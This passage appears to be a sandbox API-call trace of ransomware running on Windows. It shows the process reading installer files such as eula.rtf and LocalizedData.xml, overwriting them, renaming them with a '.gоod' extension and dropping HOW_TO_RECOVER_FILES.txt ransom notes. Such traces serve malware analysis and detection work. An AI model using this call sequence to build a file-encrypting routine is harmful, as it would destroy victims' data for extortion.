nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0091.150] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0091.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0091.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0091.150] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\eula.rtf", lpFilePart=0x0) returned 0x23 [0091.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0091.150] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x341c1d8 | out: lpFileInformation=0x341c1d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76)) returned 1 [0091.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0091.151] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\eula.rtf", lpFilePart=0x0) returned 0x23 [0091.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0091.151] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0091.151] GetFileType (hFile=0x79c) returned 0x1 [0091.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0091.151] GetFileType (hFile=0x79c) returned 0x1 [0091.151] GetFileSize (in: hFile=0x79c, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xe76 [0091.151] ReadFile (in: hFile=0x79c, lpBuffer=0x341d258, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x341d258*, lpNumberOfBytesRead=0x1f6edc28*=0xe76, lpOverlapped=0x0) returned 1 [0091.466] CloseHandle (hObject=0x79c) returned 1 [0091.568] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\eula.rtf", lpFilePart=0x0) returned 0x23 [0091.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0091.568] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.282] GetFileType (hFile=0x778) returned 0x1 [0092.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0092.282] GetFileType (hFile=0x778) returned 0x1 [0092.282] WriteFile (in: hFile=0x778, lpBuffer=0x341b1a8*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x341b1a8*, lpNumberOfBytesWritten=0x1f6edb38*=0xe80, lpOverlapped=0x0) returned 1 [0092.283] CloseHandle (hObject=0x778) returned 1 [0092.283] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\eula.rtf", lpFilePart=0x0) returned 0x23 [0092.283] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0092.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0092.283] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x33375585, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe80)) returned 1 [0092.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0092.284] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.gоod")) returned 1 [0092.286] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0092.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0092.286] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x341c370 | out: lpFileInformation=0x341c370*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde)) returned 1 [0092.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0092.286] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0092.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0092.286] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.286] GetFileType (hFile=0x778) returned 0x1 [0092.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0092.286] GetFileType (hFile=0x778) returned 0x1 [0092.286] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0092.287] ReadFile (in: hFile=0x778, lpBuffer=0x341c738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x341c738*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0092.413] CloseHandle (hObject=0x778) returned 1 [0092.413] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0092.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0092.413] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.413] GetFileType (hFile=0x778) returned 0x1 [0092.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0092.413] GetFileType (hFile=0x778) returned 0x1 [0092.413] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x12cde [0092.413] WriteFile (in: hFile=0x778, lpBuffer=0x349a228*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x349a228*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0092.414] CloseHandle (hObject=0x778) returned 1 [0092.414] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0092.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0092.414] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.414] GetFileType (hFile=0x778) returned 0x1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0092.414] GetFileType (hFile=0x778) returned 0x1 [0092.415] ReadFile (in: hFile=0x778, lpBuffer=0x349c4c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x349c4c0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0092.443] CloseHandle (hObject=0x778) returned 1 [0092.443] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0092.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0092.443] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.443] GetFileType (hFile=0x778) returned 0x1 [0092.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0092.443] GetFileType (hFile=0x778) returned 0x1 [0092.443] WriteFile (in: hFile=0x778, lpBuffer=0x349b240*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x349b240*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0092.443] CloseHandle (hObject=0x778) returned 1 [0092.443] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0092.443] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0092.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0092.444] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x334f2ea1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12cee)) returned 1 [0092.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0092.726] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.gоod")) returned 1 [0092.759] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0092.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0092.764] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0092.774] GetFileType (hFile=0x768) returned 0x1 [0092.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0092.774] GetFileType (hFile=0x768) returned 0x1 [0092.775] WriteFile (in: hFile=0x768, lpBuffer=0x384a450*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x384a450*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0092.776] CloseHandle (hObject=0x768) returned 1 [0092.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0092.776] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036", lpFilePart=0x0) returned 0x1a [0092.776] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.776] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.777] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0092.777] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0092.777] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0092.777] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.777] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0092.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0092.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0092.777] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036", lpFilePart=0x0) returned 0x1a [0092.777] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.778] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.778] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0092.778] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0092.778] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0092.778] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0092.779] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0092.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0092.779] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\eula.rtf", lpFilePart=0x0) returned 0x23 [0092.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0092.779] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x38596d8 | out: lpFileInformation=0x38596d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6)) returned 1 [0092.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0092.779] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\eula.rtf", lpFilePart=0x0) returned 0x23 [0092.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0092.779] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0092.779] GetFileType (hFile=0x768) returned 0x1 [0092.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0092.779] GetFileType (hFile=0x768) returned 0x1 [0092.779] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xdc6 [0092.779] ReadFile (in: hFile=0x768, lpBuffer=0x385a6a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x385a6a8*, lpNumberOfBytesRead=0x1f6edc28*=0xdc6, lpOverlapped=0x0) returned 1 [0092.781] CloseHandle (hObject=0x768) returned 1 [0092.876] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\eula.rtf", lpFilePart=0x0) returned 0x23 [0092.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0092.876] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0092.877] GetFileType (hFile=0x7b4) returned 0x1 [0092.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0092.878] GetFileType (hFile=0x7b4) returned 0x1 [0092.878] WriteFile (in: hFile=0x7b4, lpBuffer=0x33d76e0*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x33d76e0*, lpNumberOfBytesWritten=0x1f6edb38*=0xdd0, lpOverlapped=0x0) returned 1 [0092.879] CloseHandle (hObject=0x7b4) returned 1 [0092.879] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\eula.rtf", lpFilePart=0x0) returned 0x23 [0092.879] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.gоod", nBufferLength=0x105, 